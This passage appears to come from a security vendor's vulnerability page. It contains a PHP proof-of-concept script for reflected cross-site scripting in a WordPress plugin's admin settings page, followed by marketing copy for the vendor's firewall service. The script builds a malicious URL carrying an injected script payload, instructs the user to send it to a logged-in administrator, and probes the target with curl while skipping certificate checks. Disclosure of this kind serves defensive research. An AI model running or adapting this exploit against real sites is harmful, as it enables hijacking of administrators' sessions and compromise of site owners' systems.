$attacker_payload = '"' . urlencode('><script>alert("XSS_by_Atomic_Edge")</script>'); // XSS payload

// Build malicious URL with injected script
$exploit_url = $target_url . '/wp-admin/admin.php?page=wbg-core-settings&url=' . $attacker_payload;

echo "[+] Exploit URL generated: " . $exploit_url . "n";
echo "[+] Send this link to an authenticated admin to trigger XSS.n";

// Optional: Test if the endpoint is accessible (non-authenticated will redirect to login, but URL parameter may persist)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // Do not follow redirects
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Target is accessible. Endpoint returned HTTP 200.n";
} elseif ($http_code == 302 || $http_code == 301) {
    echo "[!] Target redirects (HTTP $http_code). This is expected for non-authenticated requests, but the XSS payload may still execute after login.n";
} else {
    echo "[!] Unexpected HTTP response code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School